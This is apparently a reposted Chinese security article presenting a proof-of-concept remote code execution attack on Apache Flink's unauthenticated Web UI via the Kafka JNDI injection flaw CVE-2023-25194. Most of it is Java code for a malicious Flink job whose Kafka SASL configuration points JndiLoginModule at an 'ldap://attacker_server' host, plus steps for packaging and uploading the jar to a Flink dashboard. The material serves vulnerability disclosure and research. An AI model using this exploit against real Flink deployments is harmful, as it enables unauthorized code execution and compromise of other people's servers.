Apache Flink代码执行漏洞。在Apache Flink中利用Apache Kafka JNDI注入(CVE-2023-
2023-5-16 21:56:24 Author: Ots安全(查看原文) 阅读量:40 收藏

Flink-Kafka-Vul

Apache Flink远程代码执行漏洞。

Apache Flink Web UI 默认没有用户权限认证,攻击者可以直接上传恶意Jar包,通过指定Kafka数据源连接属性,利用Apache Kafka JNDI注入(CVE-2023-25194)漏洞[1]攻击Flink,最终实现远程代码执行。

[1] https://kafka.apache.org/cve-list#CVE-2023-25194

利用

编写不安全的Flink程序

指定Kafka连接参数,其中sasl.jaas.config属性设置为"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";,服务器将连接到攻击者的 LDAP 服务器并反序列化 LDAP 响应。

// 设置执行环境final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();// 配置 Kafka 连接属性Properties properties = new Properties();properties.setProperty("bootstrap.servers", "192.168.25.147:9092");properties.setProperty("group.id", "flink-kafka-demo");properties.setProperty("security.protocol", "SASL_PLAINTEXT");properties.setProperty("sasl.mechanism", "PLAIN");properties.setProperty("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://attacker_server\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";");

FlinkKafkaConsumer<String> consumer = new FlinkKafkaConsumer("quickstart-events", new SimpleStringSchema(), properties);
// 从 Kafka 中读取数据env.addSource(consumer).print();
// 执行程序env.execute("Flink Kafka Demo");

触发漏洞

自行将Flink程序打包为Jar:


在Apache Flink Dashboard上传恶意Jar,并提交任务:

攻击者服务器:

DNSlog服务器:

项目地址:https://github.com/Veraxy00/Flink-Kafka-Vul

点它,分享点赞在看都在这


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497749&idx=2&sn=38ed29ee8da39200462818db0f72c5c2&chksm=9badb15eacda38484ee95401538d61a60e5df1c508c6754457f69834be387281424f81715f2d#rd
如有侵权请联系:admin#unsafe.sh